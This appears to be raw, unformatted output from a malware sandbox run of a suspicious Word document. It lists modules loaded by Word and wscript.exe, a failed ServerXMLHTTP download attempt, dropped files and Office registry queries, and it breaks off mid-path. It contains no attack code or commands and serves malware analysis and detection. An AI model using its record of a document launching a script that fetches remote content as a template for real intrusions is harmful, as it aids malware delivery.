"WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 7ff912840000 "WINWORD.EXE" loaded module "MLANG.DLL" at base 7ff912840000 "WINWORD.EXE" loaded module "OLE32.DLL" at base 7ff932740000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSPROOF7.DLL" at base 7ff91bf00000 "WINWORD.EXE" loaded module "COMCTL32" at base 7ff920270000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\PROOF\MSSP7EN.DLL" at base 7ff903380000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\\MSCSS7EN.DLL" at base 7ff91bda0000 "WINWORD.EXE" loaded module "CSS7DATA0009.DLL" at base 7ff8ff620000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSCSS7CM_EN.DUB" at base 11780000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSCSS7WRE_EN.DUB" at base 11780000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\PROOF\1033\MSGR3EN.DLL" at base 7ff8ff100000 "WINWORD.EXE" loaded module "NETAPI32.DLL" at base 7ff9279f0000 "wscript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff931360000 "wscript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff931360000 "wscript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff931360000 "wscript.exe" loaded module "KERNEL32" at base 7ff931fc0000 "wscript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff910900000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff92eff0000 "wscript.exe" loaded module "RPCRT4.DLL" at base 7ff9342f0000 "wscript.exe" loaded module "KERNEL32.DLL" at base 7ff931fc0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\VBSCRIPT.DLL" at base 7ff922e70000 "wscript.exe" loaded module "AMSI.DLL" at base 7ff9298e0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff9279e0000 "wscript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff929810000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\UBVQD212.DLL" at base 7ff91d1e0000 "wscript.exe" loaded module "WLDP.DLL" at base 7ff92f9a0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff932690000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff9310b0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff92fd50000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff9298d0000 "wscript.exe" loaded module "OLE32.DLL" at base 7ff932740000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff9315d0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff9298b0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ff91bf60000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINDOWSPOWERSHELL\V1.0\PWRSHSIP.DLL" at base 7ff929870000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ESDSIP.DLL" at base 7ff929860000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MSXML3.DLL" at base 7ff903580000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\WINHTTPCOM.DLL" at base 7ff9297f0000 "wscript.exe" loaded module "WINHTTP.DLL" at base 7ff92ce70000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ff912580000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 7ff912840000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff930140000 "wscript.exe" loaded module "SSPICLI.DLL" at base 7ff9307e0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff928380000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff9288d0000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ff92fc90000 "wscript.exe" loaded module "MSKEYPROTECT.DLL" at base 7ff921240000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ff921290000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff931940000 "wscript.exe" loaded module "USER32.DLL" at base 7ff931a30000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base 7ff9252d0000 "wscript.exe" loaded module "MSISO.DLL" at base 7ff91ef20000 "wscript.exe" loaded module "ONDEMANDCONNROUTEHELPER.DLL" at base 7ff912580000 "wscript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff91be20000 "wscript.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff931fc0000 "wscript.exe" loaded module "USERENV.DLL" at base 7ff9307b0000 "wscript.exe" loaded module "VERSION.DLL" at base 7ff9279e000035:T726,"wscript.exe" called "Msxml2.ServerXMLHTTP.CreateObject" ... "wscript.exe" called "Msxml2.ServerXMLHTTP.open" ... "wscript.exe" called "Msxml2.ServerXMLHTTP.responseText" with result: "Error 404 (Not Found)!!1

404. Thats an error.

The requested URL was not found on this server. Thats all we know.

" ...36:Tcea,"e8475fe3ac277d2eda466aaa4d42044d7230ac650b62dde38bf9727514c3ad69.doc.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Tue Aug 20 11:05:27 2024 mtime=Tue Aug 20 18:06:14 2024 atime=Tue Aug 20 18:06:15 2024 length=31676 window=hide"- Location: [%APPDATA%\Microsoft\Office\Recent\e8475fe3ac277d2eda466aaa4d42044d7230ac650b62dde38bf9727514c3ad69.doc.LNK]- [targetUID: 00000000-00005544] "2A3E3DCA.jpg" has type "JPEG image data JFIF standard 1.01 resolution (DPI) density 96x96 segment length 16 Exif Standard: [TIFF image data big-endian direntries=1 orientation=upper-left] baseline precision 8 599x396 components 3"- Location: [%LOCALAPPDATA%\Microsoft\Windows\INetCache\Content.MSO\2A3E3DCA.jpg]- [targetUID: 00000000-00005544] "~WRD0168.tmp" has type "Microsoft Word 2007+"- Location: [C:\~WRD0168.tmp]- [targetUID: 00000000-00005544] "~WRF_C6CCBB01-F7C9-4B64-9E12-541B56CD3634_.tmp" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "~WRD0000.tmp" has type "Microsoft Word 2007+"- Location: [C:\~WRD0000.tmp]- [targetUID: 00000000-00005544] "~WRS_575A3E2E-EEB7-45C7-80CA-AE3BF3069DF3_.tmp" has type "Targa image data - Map 6 x 7 x 8 +4 +5 "\011""- [targetUID: N/A] "Word14.customUI" has type "Microsoft OOXML"- Location: [%LOCALAPPDATA%\Microsoft\Office\Word14.customUI]- [targetUID: 00000000-00005544] "~WRS_B8A99AA8-2F0B-4EF5-92E3-6AF60DF5EAE6_.tmp" has type "data"- [targetUID: N/A] "version.ini.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Tue Aug 20 18:06:15 2024 mtime=Tue Aug 20 18:06:15 2024 atime=Tue Aug 20 18:06:16 2024 length=216 window=hide"- Location: [%APPDATA%\Microsoft\Office\Recent\version.ini.LNK]- [targetUID: 00000000-00005544] "Templates.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Directory ctime=Mon Mar 5 18:29:32 2018 mtime=Tue Aug 20 18:06:15 2024 atime=Tue Aug 20 18:06:15 2024 length=4096 window=hide"- Location: [%APPDATA%\Microsoft\Office\Recent\Templates.LNK]- [targetUID: 00000000-00005544] "~WRS_3B5B199E-DCAF-4E58-B222-7660016EF3E0_.tmp" has type "data"- [targetUID: N/A] "index.dat" has type "Generic INItialization configuration [misc]"- Location: [%APPDATA%\Microsoft\Office\Recent\index.dat]- [targetUID: 00000000-00005544] "~WRD0002.tmp" has type "ASCII text with CRLF line terminators"- Location: [%APPDATA%\Microsoft\Templates\~WRD0002.tmp]- [targetUID: 00000000-00005544] "~_Normal.dotm" has type "data"- [targetUID: N/A] "~WRD0000.tmp%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A] "~_475fe3ac277d2eda466aaa4d42044d7230ac650b62dde38bf9727514c3ad69.doc" has type "data"- [targetUID: N/A] "e8475fe3ac277d2eda466aaa4d42044d7230ac650b62dde38bf9727514c3ad69.doc _2_.LNK" has type "MS Windows shortcut Item id list present Points to a file or directory Has Relative path Archive ctime=Tue Aug 20 11:05:27 2024 mtime=Tue Aug 20 18:06:14 2024 atime=Tue Aug 20 18:06:15 2024 length=31676 window=hide"- [targetUID: N/A] "~_ersion.ini" has type "data"- [targetUID: N/A] "~WRD0168.tmp%3AZone.Identifier" has type "ASCII text with CRLF line terminators"- [targetUID: N/A]37:T8f85,"WINWORD.EXE" (Path: "HKCU\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\RESILIENCY\STARTUPITEMS"; Key: ")"<,29223C00A81500000200000000000000B400000001000000700000003800000063003A005C00700072006F006700720061006D002000660069006C00650073005C006D006900630072006F0073006F006600740020006F00660066006900630065005C006F0066006600690063006500310034005C006F006E006200740074006E00770064002E0064006C006C0000006F006E0065006E006F007400650020006C0069006E006B006500640020006E006F0074006500730020006100640064002D0069006E0000001012613544,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES1012613593,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES\MICROSOFT\OFFICE\14.0\WORD\SECURITY1012613593,$STATUS,C00000341012613649,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD1012613693,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\SECURITY1012613751,QUERYVAL,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\SECURITY,DISABLEALLADDINS1012613751,$STATUS,C00000341012613842,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES1012613886,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES\MICROSOFT\OFFICE\14.0\WORD\SECURITY1012613886,$STATUS,C00000341012613941,QUERYVAL,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.0\WORD\SECURITY,REQUIREADDINSIG1012613941,$STATUS,C00000341012614044,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES1012614083,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\POLICIES\MICROSOFT\OFFICE\14.0\COMMON1012614083,$STATUS,C00000341012614139,QUERYVAL,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001\SOFTWARE\MICROSOFT\OFFICE\14.0\COMMON,QMENABLE1012614139,$STATUS,C00000341012614385,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012614429,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012614474,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012614520,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012614520,$STATUS,C00000341012614579,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012614620,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012614674,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012614799,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\TREATAS1012614799,$STATUS,C00000341012614847,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012614890,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\TREATAS1012614890,$STATUS,C00000341012614940,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012614992,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012615036,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012615150,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012615150,$STATUS,C00000341012615205,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012615273,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012615323,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012615430,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012615430,$STATUS,C00000341012615483,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012615550,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012615602,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012615735,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012615735,$STATUS,C00000341012615787,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012615832,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012615881,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012615932,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012616068,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012616068,$STATUS,C00000341012616128,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER32,INPROCSERVER321012616128,$STATUS,C00000341012616224,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012616277,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012616393,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012616393,$STATUS,C00000341012616450,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012616521,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012616574,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012616708,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012616708,$STATUS,C00000341012616759,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012616832,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012616893,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012617023,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012617023,$STATUS,C00000341012617073,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER32,THREADINGMODEL1012617171,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012617218,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012617326,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCHANDLER321012617326,$STATUS,C00000341012617382,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012617425,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCHANDLER321012617425,$STATUS,C00000341012617475,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012617525,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012617655,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCHANDLER1012617655,$STATUS,C00000341012617705,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012617743,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCHANDLER1012617743,$STATUS,C00000341012618129,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012618177,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012618223,QUERY,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES1012618266,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012618266,$STATUS,C00000341012618321,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012618365,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012618416,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012618540,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\TREATAS1012618540,$STATUS,C00000341012618587,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012618628,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\TREATAS1012618628,$STATUS,C00000341012618686,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012618732,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012618780,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012618893,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012618893,$STATUS,C00000341012618956,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012619019,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012619067,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012619196,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012619196,$STATUS,C00000341012619248,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012619315,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012619365,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012619489,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012619489,$STATUS,C00000341012619547,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012619594,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012619638,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012619692,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012619829,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012619829,$STATUS,C00000341012619886,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER32,INPROCSERVER321012619886,$STATUS,C00000341012619978,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012620030,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012620144,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012620144,$STATUS,C00000341012620204,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012620275,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012620327,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012620462,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012620462,$STATUS,C00000341012620518,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012620591,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012620649,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012620771,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER321012620771,$STATUS,C00000341012620823,QUERYVAL,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCSERVER32,THREADINGMODEL1012620909,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012620957,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012621086,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCHANDLER321012621086,$STATUS,C00000341012621136,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012621175,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCHANDLER321012621175,$STATUS,C00000341012621233,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012621278,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012621414,OPEN,HKCU,\REGISTRY\USER\S-1-5-21-735145574-3570218355-1207367261-1001_CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}\INPROCHANDLER1012621414,$STATUS,C00000341012621478,QUERY,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\CLSID\{5B24624D-9DD8-4B23-BFB2-A8A5E60CB019}1012621517,OPEN,HKLM,\REGISTRY\MACHINE\SOFTWARE\CLASSES\